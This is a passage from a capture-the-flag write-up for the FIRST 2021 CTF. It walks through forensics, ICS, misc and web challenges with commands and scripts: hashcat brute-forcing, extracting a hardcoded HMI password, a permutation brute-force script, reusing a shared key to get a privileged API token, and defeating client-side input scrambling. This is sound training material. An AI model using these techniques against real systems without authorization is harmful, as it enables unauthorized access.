.(...4.R6.c9]j.8 00000a40: 03fd 1692 9603 3776 0e6c 0084 b2b1 ac1a ......7v.l...... 00000a50: be0a 5480 a502 962c 2c21 c1e7 3466 40b1 ..T....,,!..4f@. 00000a60: 4076 37d8 823a 6603 6590 d07d e0d1 b1e1 @v7..:f.e..}.... 00000a70: b067 7db6 3e77 aa57 fda2 cead d714 6e99 .g}.&gt;w.W......n. 00000a80: d28c e67f cdbd feb6 850b eeae cc6c 4e43 .............lNC 00000a90: 3b75 94b5 273d e518 e21e 9bde 2f7a 2bde ;u..'=....../z+. 00000aa0: a90a 3c7a 5fa4 e439 b7ca 5c91 ef6e 6c35 ..&lt;z_..9..\..nl5 00000ab0: 074d 786d 18fc 0c8f e10f 504b 0102 0000 .Mxm......PK.... 00000ac0: 1400 0008 0800 0599 3250 8d9c a8ef ee03 ........2P...... 00000ad0: 0000 e903 0000 0800 0000 0000 0000 0000 ................ 00000ae0: 0000 0000 0000 0000 6963 6f6e 2e70 6e67 ........icon.png 00000af0: 504b 0102 0000 1400 0008 0800 779a 3250 PK..........w.2P 00000b00: 8bcd 4287 7802 0000 6404 0000 0800 0000 ..B.x...d....... 00000b10: 0000 0000 0100 0000 0000 1404 0000 706f ..............po 00000b20: 7075 702e 6a73 504b 0102 0000 1400 0008 pup.jsPK........ 00000b30: 0800 4099 3250 2017 bf2b 8f00 0000 e400 ..@.2P ..+...... 00000b40: 0000 0a00 0000 0000 0000 0100 0000 0000 ................ 00000b50: b206 0000 706f 7075 702e 6874 6d6c 504b ....popup.htmlPK 00000b60: 0102 0000 1400 0008 0800 039c 3250 00f5 ............2P.. 00000b70: 1da0 d500 0000 4c01 0000 0d00 0000 0000 ......L......... 00000b80: 0000 0100 0000 0000 6907 0000 6d61 6e69 ........i...mani 00000b90: 6665 7374 2e6a 736f 6e50 4b05 0600 0000 fest.jsonPK..... 00000ba0: 0004 0004 00df 0000 0069 0800 0000 00 .........i.....</code></pre> <p>Putting this into a file and dumping it, gives us:</p> <pre><code>$ xxd -r extension.hexdump &gt; extension.raw $ file extension.raw extension.raw: Google Chrome extension, version 3 $ mkdir extension $ cd extension/ $ unzip ../extension.raw Archive: ../extension.raw warning [../extension.raw]: 593 extra bytes at beginning or within zipfile (attempting to process anyway) inflating: icon.png inflating: popup.js inflating: popup.html inflating: manifest.json &sect; ls icon.png manifest.json popup.html popup.js $ cat popup.js document.addEventListener('DOMContentLoaded', function() { var checkPageButton = document.getElementById('checkPage'); checkPageButton.addEventListener('click', function() { chrome.tabs.getSelected(null, function(tab) { d = document; d.body.appendChild("00000000: 1f8b 0800 acbc 235e 0003 edcf 3d0a c230 ......#^....=..0 00000010: 18c6 f148 1717 bd81 1870 d049 9336 4d8e ...H.....p.I.6M. 00000020: e10d 943a d441 bbf8 b1bb 7b03 a70e 1ec3 ...:.A....{..... 00000030: 450f e20d 9c5d 8d16 bb14 3a15 44f8 ff20 E....]....:.D.. 00000040: bcbc c933 3c19 4f16 d6cc bf27 5d27 4bd1 ...3&lt;.O....']'K. 00000050: 38a5 9435 46be a7b3 f167 aab0 d80b 712c 8..5F....g....q, 00000060: 7564 b572 910d 7d50 e9c8 6823 a46a be4a ud.r..}P..h#.j.J 00000070: d57e bb4b 36be 4ab2 aacf f958 9ad6 bc17 .~.K6.J....X.... 00000080: 3f91 e5fc 13fd 635b 9c2f 8399 081e d756 ?.....c[./.....V 00000090: c75f dcf2 e734 ebba bc4c 1c5c 70ba f786 ._...4...L.\p... 000000a0: 62f4 b38e 0000 0000 0000 0000 0000 0000 b............... 000000b0: 0080 aa17 cca3 969b 0028 0000 .........(.. "); }); }, false); }, false);</code></pre> <p>Ok, again a hexdump, so put it in a file and convert it to raw again:</p> <pre><code>$ xxd -r extension-js.hexdump &gt; extension-js.raw $ file extension-js.raw extension-js.raw: gzip compressed data, last modified: Sun Jan 19 02:19:24 2020, from Unix, original size 10240 $ cp extension-js.raw extension-js.gz $ ls extension extension-js.gz extension-js.raw hitw_ch1_434MHz_1MSps.wav extension.hexdump extension-js.hexdump extension.raw master_preferences $ gunzip --keep extension-js.gz $ file extension-js extension-js: POSIX tar archive $ tar -tf extension-js ./b64_b64_b64_flag</code></pre> <p>And that&rsquo;s the flag \o/</p> <h2 id="miscellaneous">Miscellaneous</h2> <p>This part had three challenges, all of which were solved by us.</p> <h3 id="just-run-with-steve-j.">Just run with Steve J.</h3> <p>We&rsquo;re given a file, its SHA1 hash, and the following task:</p> <blockquote> <p>Find the executable file attached and run it. No worries, it is not malware and it does NOT need to run with any privileges. Find out what it does and follow the clues.</p> </blockquote> <p>We were a bit conservative in that case and didn&rsquo;t run the executable, so we did some static analysis instead:</p> <pre><code>$ file runme runme: Mach-O 64-bit x86_64 executable, flags:&lt;NOUNDEFS|DYLDLINK|TWOLEVEL|PIE&gt; $ strings runme [snip] @Hang on... [redacted].firstchallenges.ninja Did you catch that? sleepForTimeInterval: dataWithCapacity: appendBytes:length: @_DNSServiceProcessResult @_DNSServiceQueryRecord @_DNSServiceRefDeallocate [snip] _DNSServiceProcessResult _DNSServiceQueryRecord _DNSServiceRefDeallocate [snip]</code></pre> <p>Ok, so we have a domain <code>[redacted].firstchallenges.ninja</code> in there, as well as some references to DNS, so let&rsquo;s see if anything turns up:</p> <pre><code>$ dig [redacted].firstchallenges.ninja TXT ; &lt;&lt;&gt;&gt; DiG 9.16.15-Debian &lt;&lt;&gt;&gt; [redacted].firstchallenges.ninja TXT ;; global options: +cmd ;; Got answer: ;; -&gt;&gt;HEADER&lt;</code></pre> <p>Nice, that seems to have been a lucky one. The response looks like a hex string, so we decoded it:</p> <pre><code>$ python3 Python 3.9.2 (default, Feb 28 2021, 17:03:44) [GCC 10.2.1 20210110] on linux Type "help", "copyright", "credits" or "license" for more information. &gt;&gt;&gt; import binascii &gt;&gt;&gt; binascii.unhexlify('5f6e635f7463705f323032312e66697273746368616c6c656e6765732e6e696e6a613a38343438') b'_nc_tcp_[redacted].firstchallenges.ninja:8448' &gt;&gt;&gt;</code></pre> <p>Another hint, so we do what we&rsquo;re told to:</p> <pre><code>$ nc [redacted].firstchallenges.ninja 8448 97ce8d01a9e01cef2b2a9b946c0051ff</code></pre> <p>Trying to decode that value didn&rsquo;t yield anything useful, so we submitted it as the flag &ndash; which was correct :)</p> <h3 id="my-man">my man!</h3> <p>We receive a JPEG and very straightforward instructions:</p> <blockquote> <p>See if you can located all 7 pieces of the flag.</p> </blockquote> <p>After trying the obvious &ndash; looking at the image itself and its exif data &ndash; we looked at the file in a simple text editor and the last part of it seemed a bit odd:</p> <pre><code>$ tail -n +75 myman.jpg ������[�H'��C#K_�k��0���]��c[O-�"�.܇�c,��Ķ5��+⥺�5s�IGV�&amp;v������B�?��V?�Q��Y=̶��?���_�=��O=�S*����*ƞ��u9%b4���h,m9����A�]:6(�O��rO�&gt;'�H����fm;�0��@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@A��.Dd June 21, 2020 .Dt MY "" !YouH .Os .Sh NAME .Nm my .Nd the ultimate hacking tool - its like Metasploit but for Ruby developers. .Sh SYNOPSIS .Nm my .Op Fl lOfTheP .Op Ar .Sh DESCRIPTION my is many tools in one. For each .Ar file provided to .Nm my, you can choose to exfiltrate, securely delete, or backdoor the .Ar file. .Nm my is fully undetectable and is the hacking tool of choice for Advanced and persistent APT threats. .Pp If no operands are given, my will dump credentials of all users on the system. If .Nm my is uploaded to a webserver, it can be used as a webshell or to conduct sql injection attacks. .Pp The following options are available: .Bl -tag -width indent .It Fl l Hack the Gibson. .It Fl O output. .It Fl f iteratively inject json into the firewall (with force). .It Fl T modify authentication requests to the sqlite database's caching backend server's load balancer. .It Fl h dump credentials from the Sharepoint client's memory bank. .It Fl e crash the remotely executable's code path. .It Fl P double-click a JPEGs nested for loop recursion. .Sh EXAMPLES The following is how to do a .Nm my hack attack: .Pp .Dl "my -Oh | my" .Sh DIAGNOSTICS Nah. .\" sForThis .Sh ENVIRONMENT .Fn printf "undAl" I am thankful manpage's markup language (groff/troff) never caught on outside of manpages. .Sh COMPATIBILITY The group field is now automatically included in YXZlRm8= the long listing for files in order to be compatible with the .St -p1003.2 specification. .Sh SEE ALSO https://pastebin.com/G5pbzCjR .Sh LEGACY DESCRIPTION All good men and women must take responsibility to create legacies that will take the next generation to a level we could only imagine. .Sh HISTORY An .Nm my command appeared in .At v1 . .Sh BUGS my doesn't cotain any bugs because the authors conducted a ssae16 audit of the source. .Hf /dev/null/ieces</code></pre> <p>For whatever reason, someone has appended some troff data to this image... Our solution was definitely not the most straightforward one, but we simply looked for stuff that looked "odd" and we knew that we&rsquo;re looking for seven pieces. From top to bottom we identified:</p> <ol type="1"> <li> <p><code>!YouH</code></p> </li> <li> <p><code>lOfTheP</code></p> </li> <li> <p><code>sForThis</code></p> </li> <li> <p><code>undAl</code></p> </li> <li> <p><code>YXZlRm8=</code> which is <code>aveFo</code> after base64 decoding.</p> </li> <li> <p><code>https://pastebin.com/G5pbzCjR</code> a paste which contains "Challenge!"</p> </li> <li> <p><code>/dev/null/ieces</code></p> </li> </ol> <p>Putting them all together in the right order results in <code>!YouHaveFoundAllOfThePiecesForThisChallenge!</code> and that was the flag.</p> <h3 id="the-bit-maker">The Bit Maker</h3> <p>We got a commandlog from a compromised server and the following task:</p> <blockquote> <p>You located a compromised system in your environment. After closer examination, you notice a keylogger installed on the system. A snippet of the keylog are attached. See if you can find the correct bits. The flag is hex values with no spaces or delimiters.</p> </blockquote> <p>The relevant part of the commandlog is:</p> <pre><code>$ ls import random data = [] for idx in xrange(random.randint(3000, 5000)): val = random.randint(0, 255) data.append(val) flag_len = 4 start = len(data) / 2 with open("flag.txt", 'wb') as f: for i in range(start, start + flag_len): f.write(chr(data[i])) data[i] = 0x00 with open("data.bin", 'wb') as f: f.write(''.join([chr(x) for x in data])) $ shasum -a 256 ./* 22585d78ab9223ffca17d0d3cabd4265105f4efbbbb3ebfbbd7ab1b9b4a0dd98 ./data.bin 7928ca875b29e1157b2c6d808df146433598d96eea98bf074fc941ba9246f0d9 ./flag.txt</code></pre> <p>(yes, the output is a bit broken). So we know, our flag&rsquo;s SHA256 hash and that it is 4 bytes. Time for hashcat:</p> <pre><code>hashcat.bin -a 3 -m 1400 7928ca875b29e1157b2c6d808df146433598d96eea98bf074fc941ba9246f0d9 '?b?b?b?b' hashcat (v6.2.1) starting... * Device #1: WARNING! Kernel exec timeout is not disabled. This may cause "CL_OUT_OF_RESOURCES" or related errors. To disable the timeout, see: https://hashcat.net/q/timeoutpatch * Device #2: WARNING! Kernel exec timeout is not disabled. This may cause "CL_OUT_OF_RESOURCES" or related errors. To disable the timeout, see: https://hashcat.net/q/timeoutpatch nvmlDeviceGetFanSpeed(): Not Supported CUDA API (CUDA 11.2) ==================== * Device #1: GeForce RTX 2070, 7684/7973 MB, 36MCU OpenCL API (OpenCL 1.2 CUDA 11.2.162) - Platform #1 [NVIDIA Corporation] ======================================================================== * Device #2: GeForce RTX 2070, skipped Minimum password length supported by kernel: 0 Maximum password length supported by kernel: 256 Hashes: 1 digests; 1 unique digests, 1 unique salts Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates Optimizers applied: * Zero-Byte * Early-Skip * Not-Salted * Not-Iterated * Single-Hash * Single-Salt * Brute-Force * Raw-Hash ATTENTION! Pure (unoptimized) backend kernels selected. Using pure kernels enables cracking longer passwords but for the price of drastically reduced performance. If you want to switch to optimized backend kernels, append -O to your commandline. See the above message to find out about the exact limits. Watchdog: Temperature abort trigger set to 90c Host memory required for this attack: 632 MB 7928ca875b29e1157b2c6d808df146433598d96eea98bf074fc941ba9246f0d9:$HEX[42d14cad] Session..........: hashcat Status...........: Cracked Hash.Name........: SHA2-256 Hash.Target......: 7928ca875b29e1157b2c6d808df146433598d96eea98bf074fc...46f0d9 Time.Started.....: Thu Jun 10 09:12:07 2021 (1 sec) Time.Estimated...: Thu Jun 10 09:12:08 2021 (0 secs) Guess.Mask.......: ?b?b?b?b [4] Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 2013.0 MH/s (6.57ms) @ Accel:4 Loops:128 Thr:1024 Vec:1 Recovered........: 1/1 (100.00%) Digests Progress.........: 2925527040/4294967296 (68.12%) Rejected.........: 0/2925527040 (0.00%) Restore.Point....: 11354112/16777216 (67.68%) Restore.Sub.#1...: Salt:0 Amplifier:0-128 Iteration:0-128 Candidates.#1....: $HEX[73612aac] -&gt; $HEX[c0ff7faf] Hardware.Mon.#1..: Temp: 57c Util: 86% Core:1770MHz Mem:5500MHz Bus:16 Started: Thu Jun 10 09:12:06 2021 Stopped: Thu Jun 10 09:12:09 2021</code></pre> <p>So, in theory, we have our flag, i.e. <code>42d14cad</code>. However, it wasn&rsquo;t accepted and we wasted several tries to find out that we had to convert it to uppercase: The flag was 42D14CAD...</p> <h2 id="cryptography-forensics">Cryptography/Forensics</h2> <p>This section had only a single challenge.</p> <h3 id="the-secret">The Secret</h3> <p>Our task says:</p> <blockquote> <p>During a forensics investigation you find a piece of information that might help you learn the miscreant steps. The file is missing. You have only the following:</p> <p><code>MD5 (mysecret.txt) = 52c76da7c56b606849df5a038d1bb561</code></p> </blockquote> <p>Just look it up in an MD5 database, e.g. <a class="uri" href="https://md5.gromweb.com/?md5=52c76da7c56b606849df5a038d1bb561">https://md5.gromweb.com/?md5=52c76da7c56b606849df5a038d1bb561</a> and the result is <code>admin123</code>. The fun thing about that, however, was the fact that the MD5 sum is actually for <code>admin123</code> + the appended newline, which led <code>hashcat</code> and <code>john</code> astray, as they remove newlines from entries in wordlists, it seems.</p> <h2 id="ics">ICS</h2> <p>This part had the most challenges, but we only solved four. We&rsquo;re not sure how many it had in total, as we didn&rsquo;t unlock some of the later ones.</p> <p>Additionally, one of our solves was a crossword puzzle which we won&rsquo;t consider in this writeup.</p> <h3 id="hmi-pwning---1">HMI Pwning - 1</h3> <p>We were given a binary and the following instructions:</p> <blockquote> <p>These challenges involve reverse engineering and exploiting a custom HMI program.</p> <p>Can you determine the password that can be used to log in as the user "engineer"?</p> <p>Note: <code>hmi_coolant</code> is a Linux binary that is safe to run on your local machine. Once running, you can communicate with your local instance of the HMI software via:</p> <p><code>nc localhost 5050</code></p> </blockquote> <p>For solving this challenge, it wasn&rsquo;t 100% necessary to run the program:</p> <pre><code>$ strings hmi_coolant [snip] HMI Status: - Current User: Engineer - Current User: Administrator - Current User: Guest - System Time: - System Version: - Uptime: %d days %02d:%02d:%02ld engineer staplebatterycorrecthorse administrator [HMI] Available Commands: [snip] check_login [snip]</code></pre> <p>It looks like <code>staplebatterycorrecthorse</code> is the password we want. However, to be sure, we ran the binary using <code>gdb</code> and looked at the <code>check_login</code> function:</p> <pre><code>$ gdb -q hmi_coolant Reading symbols from hmi_coolant...(no debugging symbols found)...done. (gdb) disass check_login [snip] 0x0000000000001def &lt;+43&gt;: lea 0x1339(%rip),%rsi # 0x312f 0x0000000000001df6 &lt;+50&gt;: mov %rax,%rdi 0x0000000000001df9 &lt;+53&gt;: callq 0xe30 &lt;strncasecmp@plt&gt; 0x0000000000001dfe &lt;+58&gt;: test %eax,%eax 0x0000000000001e00 &lt;+60&gt;: jne 0x1e30 &lt;check_login+108&gt; 0x0000000000001e02 &lt;+62&gt;: mov -0x38(%rbp),%rax 0x0000000000001e06 &lt;+66&gt;: add $0x10,%rax 0x0000000000001e0a &lt;+70&gt;: mov $0x19,%edx 0x0000000000001e0f &lt;+75&gt;: lea 0x1322(%rip),%rsi # 0x3138 0x0000000000001e16 &lt;+82&gt;: mov %rax,%rdi 0x0000000000001e19 &lt;+85&gt;: callq 0xe30 &lt;strncasecmp@plt&gt; [snip] (gdb) x/s 0x312f 0x312f: "engineer" (gdb) x/s 0x3138 0x3138: "staplebatterycorrecthorse"</code></pre> <p>In verbose: This function first compares its first parameter to the string <code>engineer</code> and if this is the case it compares the second parameter to <code>staplebatterycorrecthorse</code>. Since we know that the first parameter is the username, we can be pretty sure that the second one is the password which was correct.</p> <h3 id="hiding-on-the-modbus---1">Hiding on the Modbus - 1</h3> <p>The task was:</p> <blockquote> <p>There is a modbus device located at <code>[redacted].firstseclounge.org</code> on TCP port 5020.</p> <p>Can you find the ASCII string hidden in the discrete inputs?</p> </blockquote> <p>Unfortunately we didn&rsquo;t document this challenge during the CTF and when we wrote the writeup we could reproduce our steps but as the modbus device was no longer active we couldn&rsquo;t retrieve the flag again.</p> <p>We used the <code>modbus-cli</code> interface and read all data from the discrete inputs:</p> <pre><code>#!/bin/bash for i in {1..90} do modbus [redacted].firstseclounge.org:5020 d@{i} | tee -a out.txt done</code></pre> <p>This resulted in a stream of ones and zeroes and decoding it as ASCII returned the flag.</p> <h3 id="hiding-in-the-noise---1">Hiding in the Noise - 1</h3> <p>We&rsquo;re back to PCAPs here and have the following task:</p> <blockquote> <p>The attached packet capture contains real BACnet traffic as well as BACnet traffic from a command-and-control (C2) server communicating with a remote access trojan (RAT).</p> <p>Can you determine the IP address of the RAT?</p> </blockquote> <p>We looked at the I/O graphs of the connections which where mainly in sync with deterministic spikes, except for one connection that had irregular bumps. Zeroing in on this connection, it turned out that one of the IP addresses involved sends malformed packets &ndash; a clear sign that this was the RAT communicating with its C2-server. This IP address was <code>10.20.21.91</code> and that was the correct answer.</p> <h2 id="web">Web</h2> <p>The web-part consisted of four challenges which we all solved.</p> <h3 id="clear-intentions">Clear Intentions</h3> <p>The description reads:</p> <blockquote> <p>A website&rsquo;s intentions aren&rsquo;t always clear or at least not as obvious. Can you help us figure out what this site is doing? We&rsquo;ll gladly pay bitc... I mea n, a challenge flag for your time</p> <p><strong>A bit of background</strong></p> <p>Take a look at the site (https://[redacted].firstchallenges.ninja/clarity), follow the trail and see where it leads you. You can get past the front door with c ode [redacted]</p> </blockquote> <p>When connecting to the webpage, we were confronted with a login page which told us to urgently validate our account by typing in a username and a password. In the network traffic, we also noticed that the main part of the page is dynamically built by a javascript called <code>image.js</code>. This contained a function called <code>xyzl</code> with an interesting URL, i.e. <code>https://[redacted].firstchallenges.ninja/clarity/harvest&rsquo;</code> within another function called <code>postData</code> which, to our surprise, posts data to this URL.</p> <p>Well, let&rsquo;s try the most primitive thing &ndash; a POST request:</p> <pre><code>$ curl -X POST https://[redacted].firstchallenges.ninja/clarity/harvest {"flag": "6ced11aa9bc1aeab98241abc3f7a3c84987786c7"}</code></pre> <p>Oh, ehm, that was easier than expected :D</p> <h3 id="permutation-lock">Permutation Lock</h3> <p>Another website with the following task:</p> <blockquote> <p>It appears that we&rsquo;ve lost the key to this locked site. Can you help recover the right code?</p> <p><strong>A bit of background</strong></p> <p>The locked site can be found at <code>https://[redacted].firstchallenges.ninja/order</code>. You can get past the front door by entering FIRST2021</p> <p>On the next page you will find a list of available codes at the top and empty fields below that you need to place in the right order.</p> <p>You&rsquo;ll need to enter the characters available in the empty fields in the right order before gaining access to the locked site.</p> <p>Once the right code order is entered you will be redirected to another page letting you know of your success and show you the challenge flag.</p> <p>You can test success page by entering test code [redacted] in the emtpy fields. There are over 5,000 possible permutations for this lock. Good luck!</p> </blockquote> <p>As <a class="uri" href="https://ctf.firstseclounge.org/">https://ctf.firstseclounge.org/</a> states</p> <blockquote> <p>Any attempts at cheating, multiple registrations, brute force or other malicious actions against the challenge framework and corresponding infrastructure will result in immediate exclusion from the challenge for the offending team.</p> </blockquote> <p>we specifically asked whether it is allowed to just try all combinations or if this will be considered brute-force. We were told that in this case trying all combinations is acceptable.</p> <p>So we proceeded with our initial idea of just trying out stuff:</p> <pre><code>import requests import itertools reqs = requests.session() access_code = { ('access_code', (None, 'FIRST2021')), } resp = reqs.post('https://[redacted].firstchallenges.ninja/order/default', files=access_code) seq = ['21', '2D', '2E', '41', '56', '58', '5F'] seq_perms = list(itertools.permutations(seq)) seq_max = len(seq_perms) seq_curr = 0 for perm in seq_perms: print("{}/{}".format(seq_curr, seq_max), sep='', end='\r', flush=True) seq_curr += 1 data = { ('first', (None, perm[0])), ('second', (None, perm[1])), ('third', (None, perm[2])), ('fourth', (None, perm[3])), ('fifth', (None, perm[4])), ('sixth', (None, perm[5])), ('seventh', (None, perm[6])), } resp = reqs.post('https://[redacted].firstchallenges.ninja/order/orderme', files=data) if "Not Valid" in resp.text: continue print("Possible answer found?: {}".format(perm))</code></pre> <p>Running the script returned the flag: <code>2E21582D415F56</code>.</p> <h3 id="time-to-rest">Time to REST</h3> <p>The description read:</p> <blockquote> <p>You will need to setup a method to interact with the REST api and understand the methods available to you. The API is avaiable on <code>https://[redacted].firstchallenges.ninja/accounts/default/fetchtoken</code>, and the available endpoints are fetchtoken, whoami, who, flag. Unfortunately, guest accounts do not have access to the flag endpoint, so they won&rsquo;t receive a response with a valid challenge flag. To ensure you aren&rsquo;t interrupting another competitor, you can pick one of the seven guest accounts below.</p> <p>[redacted]</p> <p>Discussion</p> <p>With fetchtoken you&rsquo;ll need to provide the id and key value pairs and it will respond a valid token that can be used to interact with the rest of the API.</p> <p>You can use whoami to verify the identity associated with your token. If you provide &lsquo;token&rsquo; with and a valid token string, it will respond with identity of the user associated with the token.</p> <p>The who endpoint accepts a token&rsquo; key with valid token string value, it will respond with a data of the accounts with an active token on the system.</p> <p>Finally, calling the &lsquo;flag&rsquo; endpoint with a valid &lsquo;token&rsquo; and token string value might respond with a challenge flag. Guest accounts do not have access to a valid challenge flag, so they&rsquo;ll receive a forbidden response value pair. If you access the flag endpoint with a more priviledge token, then you&rsquo;ll get a real challenge flag.</p> </blockquote> <p>We started be grabbing a new token from <code>https://[redacted].firstchallenges.ninja/accounts/default/fetchtoken</code> which returns an object of the form <code>{"token": "aaaaaaaaaaaaaaaaaaa-bbbbbbbbbbbbbb-ccccccccccccccccccc"}</code>:</p> <pre><code>$ curl --location --request POST "https://[redacted].firstchallenges.ninja/accounts/default/fetchtoken" \ --header "Content-Type: application/x-www-form-urlencoded" \ --data-urlencode "id=guest7" \ --data-urlencode "key=rdmCAbYtDD3rnEcPNngjP3Sp3Lft4GYc6nG3mDnq" {"token": "3230332e302e3131332e3432-677565737435-31363234303036373631"}</code></pre> <p>The token contains hex encoded values, which contain:</p> <ul> <li> <p><code>3230332e302e3131332e3432</code> == <code>203.0.113.42</code>, this contains our IPv4 address. In the output, we changed this value to an IPv4 address in the <code>203.0.113.0/24</code> network which is reserved for documentation.</p> </li> <li> <p><code>677565737435</code> == <code>guest5</code>, i.e. our identity</p> </li> <li> <p><code>31363234303036373631</code> == <code>1624006761</code> which is a UNIX timestamp, in this case 2021-06-18T10:59:21+02:00 (we rerun the exercise while writing the documentation, so it&rsquo;s after the challenge ended).</p> </li> </ul> <p>Using the token we received, we can ask who we are:</p> <pre><code>$ curl --location --request POST "https://[redacted].firstchallenges.ninja/accounts/default/whoami" \ --header "Content-Type: application/x-www-form-urlencoded" \ --data-urlencode "token=3230332e302e3131332e3432-677565737435-31363234303036373631" {"identity": "guest5"}</code></pre> <p>This works as expected. Let&rsquo;s see who else is on the system:</p> <pre><code>$ curl --location --request POST "https://[redacted].firstchallenges.ninja/accounts/default/who" \ --header "Content-Type: application/x-www-form-urlencoded" \ --data-urlencode "token=3230332e302e3131332e3432-677565737435-31363234303036373631" {"guest": {"logged": "961 hours ago", "remote": "[redacted]", "identity": "guest"}, "guest7": {"logged": "190 hours ago", "remote": "[redacted]", "identity": "guest7"}, "Admin": {"logged": "231 hours ago", "remote": "[redacted]", "identity": "Admin"}, "guest6": {"logged": "235 hours ago", "remote": "[redacted]", "identity": "guest6"}, "admin": {"logged": "200 hours ago", "remote": "[redacted]", "identity": "admin"}, "guest4": {"logged": "234 hours ago", "remote": "[redacted]", "identity": "guest4"}, "guest5": {"logged": "less than 1 hr", "remote": "[redacted]", "identity": "guest5"}, "guest2": {"logged": "235 hours ago", "remote": "[redacted]", "identity": "guest2"}, "guest3": {"logged": "189 hours ago", "remote": "[redacted]", "identity": "guest3"}, "guest1": {"logged": "191 hours ago", "remote": "[redacted]", "identity": "guest1"}, "first": {"logged": "20 hours ago", "remote": "[redacted]", "identity": "first"}}</code></pre> <p>While we were told that guest accounts have no access to the flag, we still wanted to be sure:</p> <pre><code>$ curl --location --request POST "https://[redacted].firstchallenges.ninja/accounts/default/flag" \ --header "Content-Type: application/x-www-form-urlencoded" \ --data-urlencode "token=3230332e302e3131332e3432-677565737435-31363234303036373631" {"forbidden": "You do not have permission to access the flag."}</code></pre> <p>That was expected. Looking at the <code>who</code> output again, we can see that besides guest accounts, there were also <code>Admin</code>, <code>admin</code>, and <code>first</code> accounts active. As this is the FIRST CTF, we&rsquo;ll try the <code>first</code> account first. Just changing the account in the token to <code>6669727374</code>, which is the hex-encoded value of <code>first</code> doesn&rsquo;t work, but this is expected as we assumed that the tokens are stored somewhere on the server as well.</p> <p>Hence, we tried to fetch a new token for the <code>first</code> account, using the same key all the guest accounts used:</p> <pre><code>$ curl --location --request POST "https://[redacted].firstchallenges.ninja/accounts/default/fetchtoken" \ &gt; --header "Content-Type: application/x-www-form-urlencoded" \ &gt; --data-urlencode "id=first" \ &gt; --data-urlencode "key=rdmCAbYtDD3rnEcPNngjP3Sp3Lft4GYc6nG3mDnq" {"token": "3230332e302e3131332e3432-6669727374-31363234303130383133"}</code></pre> <p>That seemed to work, so let&rsquo;s try to get the flag:</p> <pre><code>$ curl --location --request POST "https://[redacted].firstchallenges.ninja/accounts/default/flag" \ --header "Content-Type: application/x-www-form-urlencoded" \ --data-urlencode "token=3230332e302e3131332e3432-6669727374-31363234303130383133" {"flag": "92e7f5ed2e6933b47cc494d3eb4d0baf"}</code></pre> <p>Great, that&rsquo;s it :)</p> <h3 id="intern-dev-tango">Intern Dev Tango</h3> <p>A new task, a new URL:</p> <blockquote> <p>Our new dev intern has completed their first assignment, can you help test it?</p> <p><strong>A bit of background</strong></p> <p>The site is very simple, but we are trying to figure out the bugs. Once you find all the bugs we&rsquo;ll reward you with a shiny challenge flag. You can find the new site at <code>https://[redacted].firstchallenges.ninja/tango</code> and you can use the code FIRST2021 to get past the front door. Good luck!</p> </blockquote> <p>When visiting the site, we&rsquo;re greeted with a question &ldquo;Name a fun FIRST special interest group?". The answer is very likely&rdquo;seclounge-sig", but when we try to put it in, the letters are completely scrambled. The HTML looks like this:</p> <pre><code> &lt;html&gt; &lt;body&gt; &lt;head&gt; &lt;meta charset="utf-8"&gt; &lt;title&gt;Tango&lt;/title&gt; &lt;script type="module" src="https://www.cert.at/tango/static/js/question.js"&gt;&lt;/script&gt; &lt;/head&gt; &lt;main class="maincontent"&gt; &lt;p classname="inputlabel"&gt;Name of a fun FIRST special interest group?&lt;/p&gt; &lt;form class="inputform" enctype="multipart/form-data" action="/tango/question" method="post"&gt; &lt;input class="inputfield" type="text" id="code" name="code" placeholder="#########-###" maxlength="15"&gt; &lt;button class="submitbutton" type="submit"&gt;Submit&lt;/button&gt; &lt;/form&gt; &lt;/main&gt; &lt;/body&gt; &lt;footer class="pagefooter"&gt; &lt;/footer&gt; &lt;/html&gt; </code></pre> <p>Let&rsquo;s check what <code>question.js</code> is doing, as this is the most likely culprit for the scrambling:</p> <pre><code>function getrando(){ let mc = []; for(let i=65; i&lt;91; ++i){ mc.push(String.fromCharCode(i)) } for(let i=97; i&lt;123; ++i){ mc.push(String.fromCharCode(i)) } let randoIndex = Math.floor(Math.random() * mc.length); return mc[randoIndex] } function bechanged(){ let fin = ""; for(let i=0; i&lt;9; ++i){ fin += getrando(); } fin += "-" for(let i=0; i&lt;3; ++i){ fin += getrando(); } let orig = document.querySelector(".maincontent .inputform .inputfield"); orig.value=fin; } let tchnge = document.querySelector(".maincontent .inputform .inputfield"); tchnge.addEventListener("keyup", bechanged, false);</code></pre> <p>Well, okay, that explains things :D We fired up ZAP and looked at the request:</p> <pre><code>POST https://[redacted].firstchallenges.ninja/tango/question HTTP/1.1 User-Agent: [redacted] Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Content-Type: multipart/form-data; boundary=---------------------------4660448215033997732555194938 Content-Length: 182 Origin: https://[redacted].firstchallenges.ninja Connection: keep-alive Referer: https://[redacted].firstchallenges.ninja/tango/question Cookie: session_id_tango=[redacted] Upgrade-Insecure-Requests: 1 Host: [redacted].firstchallenges.ninja -----------------------------4660448215033997732555194938 Content-Disposition: form-data; name="code" UzDjBDxSu-twr -----------------------------4660448215033997732555194938--</code></pre> <p>So, we changed it to</p> <pre><code>POST https://[redacted].firstchallenges.ninja/tango/question HTTP/1.1 User-Agent: [redacted] Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 